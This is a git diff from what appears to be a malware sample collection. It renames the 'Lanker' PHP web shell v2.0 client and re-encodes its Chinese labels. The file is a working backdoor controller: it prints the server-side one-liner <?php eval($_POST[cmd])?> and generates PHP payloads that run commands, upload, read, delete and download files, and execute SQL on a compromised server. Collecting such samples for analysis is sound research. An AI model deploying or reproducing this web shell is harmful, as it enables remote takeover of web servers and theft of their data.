diff --git a/PHP/Backdoor.PHP.Lanker.a b/PHP/Lanker/Backdoor.PHP.Lanker.a
similarity index 61%
rename from PHP/Backdoor.PHP.Lanker.a
rename to PHP/Lanker/Backdoor.PHP.Lanker.a
index 1a487443..f53030c6 100644
--- a/PHP/Backdoor.PHP.Lanker.a
+++ b/PHP/Lanker/Backdoor.PHP.Lanker.a
@@ -1,6 +1,6 @@
 
 <HTML><HEAD>
-<!-- codz by Lanker(QQ:18779569)������(QQ:80607005) 2004/12/22-->
+<!-- codz by Lanker(QQ:18779569)、孟兄(QQ:80607005) 2004/12/22-->
 <META content="text/html; charset=gb2312" http-equiv=Content-Type>
 <META content="MSHTML 5.00.2614.3500" name=GENERATOR>
 <style>
@@ -23,37 +23,37 @@
 <BODY style="FONT-SIZE: 9pt" bgcolor="#cccccc">
 <CENTER style="cursor:hand;">
 <font color="#000080">
-lanker΢��<FONT color=#ff3300>PHP</font>���ſͻ���2.0��ʽ��</font>
+lanker微型<FONT color=#ff3300>PHP</font>后门客户端2.0正式版</font>
 </CENTER>
 <hr size="1" color="#000080">
 <FORM ENCTYPE="multipart/form-data" name=frm method=post target=qq2>
 <TABLE style="FONT-SIZE: 9pt">
   
-    <TD width=800 height=10>ľ����ַ: <INPUT                                                          
+    <TD width=800 height=10>木马地址: <INPUT                                                          
 style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" 
-size=85 value=http://127.0.0.1/door.php name=act> ����: <INPUT                                                          
+size=85 value=http://127.0.0.1/door.php name=act> 密码: <INPUT                                                          
 style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" 
 size=20 value=cmd name=para><input type=hidden name='tmpcmd'></TD></TABLE>
 <TABLE width=750 >
 <TD bgcolor=#ffffff><TABLE style="FONT-SIZE: 9pt" ><tr width=200 height=10>
 <select onchange="showDiv(this.value);">
-<option value="digest" >----���������б�----</option>
-<option value="1" >PHP��������</option>
-<option value="2" >������Ŀ¼</option>
-<option value="3" >ִ��CMD����</option>
-<option value="6" >��ȡĿ¼</option>
-<option value="14" >����Ŀ¼</option>
-<option value="15" >ɾ��Ŀ¼</option>
-<option value="4" >�ϴ��ļ�</option>
-<option value="5" >��ȡ�ļ�</option>
-<option value="12" >�����ļ�</option>
-<option value="7" >�����ļ�</option>
-<option value="8" >�������ļ�</option>
-<option value="9" >ɾ���ļ�</option>
-<option value="13" >�����ļ�</option>
-<option value="11" >ִ��SQL���</option>
-<option value="10" >ר��ģʽ���Լ�д���룩</option>
-</select></tr><tr height=260><TD id="yunxing" >LANKER΢��PHP���ŷ���˴��룺<br>&lt;?php eval($_POST[cmd])?><hr size="1" color="#000080"><br>�ݴ�����Ϊ��<br>&lt;?php @eval($_POST[cmd])?><TD></tr></TABLE></td><td><TABLE style="FONT-SIZE: 9pt"><IFRAME border=1 height=340 width=580 name=qq2 marginwidth=0 marginheight=0 vspace=0
+<option value="digest" >----基本功能列表----</option>
+<option value="1" >PHP环境变量</option>
+<option value="2" >本程序目录</option>
+<option value="3" >执行CMD命令</option>
+<option value="6" >读取目录</option>
+<option value="14" >创建目录</option>
+<option value="15" >删除目录</option>
+<option value="4" >上传文件</option>
+<option value="5" >读取文件</option>
+<option value="12" >创建文件</option>
+<option value="7" >复制文件</option>
+<option value="8" >重命名文件</option>
+<option value="9" >删除文件</option>
+<option value="13" >下载文件</option>
+<option value="11" >执行SQL语句</option>
+<option value="10" >专家模式(自己写代码)</option>
+</select></tr><tr height=260><TD id="yunxing" >LANKER微型PHP后门服务端代码:<br>&lt;?php eval($_POST[cmd])?><hr size="1" color="#000080"><br>容错代码为:<br>&lt;?php @eval($_POST[cmd])?><TD></tr></TABLE></td><td><TABLE style="FONT-SIZE: 9pt"><IFRAME border=1 height=340 width=580 name=qq2 marginwidth=0 marginheight=0 vspace=0
 	  src="about:blank" 
       frameborder=no scrolling=auto name=ifff value="fdsadfas"></IFRAME></TABLE></td></table>
 
@@ -62,7 +62,7 @@ size=20 value=cmd name=para><input type=hidden name='tmpcmd'></TD></TABLE>
 <hr size="1" color="#000080">
 <CENTER>
 <center><font class=font>PHP soft Web Shell v2.0<br>
--------------Code By <FONT color=#ff3300>lanker</font>��<FONT color=#ff3300>����</font> ----------- <br><FONT color=#ff3300>����:����ʹ�ñ�������·Ƿ���Ϊ���������Ը���</font></center>
+-------------Code By <FONT color=#ff3300>lanker</font>、<FONT color=#ff3300>孟兄</font> ----------- <br><FONT color=#ff3300>声明:请勿使用本程序从事非法行为,否则后果自负!</font></center>
 </BODY></HTML>
 
 
@@ -73,54 +73,54 @@ switch(aa)
 { 
 
 case "1":
-yunxing.innerHTML="PHP��������<br>"
-yunxing.innerHTML+="<p align='center'><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"phpinfo();\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>" 
+yunxing.innerHTML="PHP环境变量<br>"
+yunxing.innerHTML+="<p align='center'><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"phpinfo();\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>" 
 break;
 case "2":
-yunxing.innerHTML="<p align='center'>������Ŀ¼<br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"echo dirname(__FILE__);\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>本程序目录<br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"echo dirname(__FILE__);\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "3": 
-yunxing.innerHTML="<p align='center'><INPUT   size=24 name=\"aaaa\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;cmd();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'><INPUT   size=24 name=\"aaaa\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;cmd();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "4": 
-yunxing.innerHTML="<p align='center'><input NAME='LanKerF' TYPE='file' size=13><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"if (copy($_FILES[LanKerF][tmp_name],$_FILES[LanKerF][name])) echo OK;\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'><input NAME='LanKerF' TYPE='file' size=13><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=\"if (copy($_FILES[LanKerF][tmp_name],$_FILES[LanKerF][name])) echo OK;\";frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "5": 
-yunxing.innerHTML="<p align='center'>�ļ���:<br><INPUT   size=24 name=\"duqu\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send> <br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>文件名:<br><INPUT   size=24 name=\"duqu\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send> <br><br><br><br><br><br><br><br><br><br>"
 break;
 case "6": 
-yunxing.innerHTML="<p align='center'>Ŀ¼��:<br><INPUT   size=24 name=\"duqu\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>目录名:<br><INPUT   size=24 name=\"duqu\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;readdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "7": 
-yunxing.innerHTML="<p align='center'>�ļ�1:<br><INPUT  size=24 name=\"file1\"><br>�ļ�2:<br><INPUT   size=24 name=\"file2\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;copyfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>文件1:<br><INPUT  size=24 name=\"file1\"><br>文件2:<br><INPUT   size=24 name=\"file2\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;copyfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "8": 
-yunxing.innerHTML="<p align='center'>�ļ�1:<br><INPUT   size=24 name=\"file1\"><br>�ļ�2:<br><INPUT size=24 name=\"file2\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;renamefile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>文件1:<br><INPUT   size=24 name=\"file1\"><br>文件2:<br><INPUT size=24 name=\"file2\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;renamefile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "9": 
-yunxing.innerHTML="<p align='center'>�ļ���:<br><INPUT   size=24 name=\"filen\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;delfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>文件名:<br><INPUT   size=24 name=\"filen\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;delfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "10":
 yunxing.innerHTML="<p align='center'><textarea  rows='17' name='duqu' cols='22'>phpinfo();</textarea>"
-yunxing.innerHTML+="<br><INPUT  onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=frm.duqu.value;frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send>"
+yunxing.innerHTML+="<br><INPUT  onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.tmpcmd.value=frm.duqu.value;frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send>"
 break;
 case "11":
-yunxing.innerHTML="������<input NAME=\"servername\" TYPE=\"text\" value=\"localhost\" size=\"12\"   ><BR>���ݿ⣺<input NAME=\"dbname\" TYPE=\"text\" value size=\"10\"   > &nbsp;<BR>�û�����<input NAME=\"dbusername\" TYPE=\"text\" value=\"root\" size=\"10\"   >&nbsp; <BR>���룺<input NAME=\"dbpassword\" TYPE=\"text\" value size=\"12\"   > &nbsp; <BR>SQL���:<BR><textarea rows=\"8\" name=\"sql\" cols=\"20\"   ></textarea>"
-yunxing.innerHTML+="<br><INPUT    onclick='Javascipt:frm.tmpcmd.name=frm.para.value;SQL();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send>"
+yunxing.innerHTML="主机:<input NAME=\"servername\" TYPE=\"text\" value=\"localhost\" size=\"12\"   ><BR>数据库:<input NAME=\"dbname\" TYPE=\"text\" value size=\"10\"   > &nbsp;<BR>用户名:<input NAME=\"dbusername\" TYPE=\"text\" value=\"root\" size=\"10\"   >&nbsp; <BR>密码:<input NAME=\"dbpassword\" TYPE=\"text\" value size=\"12\"   > &nbsp; <BR>SQL语句:<BR><textarea rows=\"8\" name=\"sql\" cols=\"20\"   ></textarea>"
+yunxing.innerHTML+="<br><INPUT    onclick='Javascipt:frm.tmpcmd.name=frm.para.value;SQL();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send>"
 break;
 
 
 case "12": 
-yunxing.innerHTML="<p align='center'>�ļ���:<INPUT   size=14 name=\"filen\"><br>�ļ�����:<BR><textarea rows=\"16\" name=\"filec\" cols=\"20\"   >ע�⣺��֧�������ַ���</textarea><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>文件名:<INPUT   size=14 name=\"filen\"><br>文件内容:<BR><textarea rows=\"16\" name=\"filec\" cols=\"20\"   >注意:不支持中文字符!</textarea><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "13": 
-yunxing.innerHTML="<p align='center'>�ļ���:<br><INPUT   size=24 name=\"filen\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;downfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>文件名:<br><INPUT   size=24 name=\"filen\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;downfile();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "14": 
-yunxing.innerHTML="<p align='center'>Ŀ¼��:<br><INPUT   size=24 name=\"dir\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>目录名:<br><INPUT   size=24 name=\"dir\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;createdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 case "15": 
-yunxing.innerHTML="<p align='center'>Ŀ¼��:<br><INPUT   size=24 name=\"dir\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;rmdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='�� ��' name=Send><br><br><br><br><br><br><br><br><br><br>"
+yunxing.innerHTML="<p align='center'>目录名:<br><INPUT   size=24 name=\"dir\"><br><INPUT   onclick='Javascipt:frm.tmpcmd.name=frm.para.value;rmdir();frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
 break;
 } 
 }
@@ -188,8 +188,8 @@ frm.tmpcmd.value+="@mysql_connect($servername,$dbusername,$dbpassword) or die($m
 frm.tmpcmd.value+="@mysql_select_db($dbname) or die($message);\n"
 frm.tmpcmd.value+="$result = @mysql_query($sql);\n"
 frm.tmpcmd.value+="if($result){\n"
-frm.tmpcmd.value+="echo SQL���ɹ�ִ��;}\n"
-frm.tmpcmd.value+="else{echo ʧ��.mysql_error();}\n"
+frm.tmpcmd.value+="echo SQL语句成功执行;}\n"
+frm.tmpcmd.value+="else{echo 失败.mysql_error();}\n"
 frm.tmpcmd.value+="mysql_close();"
 }
 
@@ -292,4 +292,4 @@ duqu+="chr("+zifu.charCodeAt(i-1)+").";
 duqu+="chr("+zifu.charCodeAt(zifu.length-1)+")";
 return duqu
 }
-</script>
\ No newline at end of file
+</script>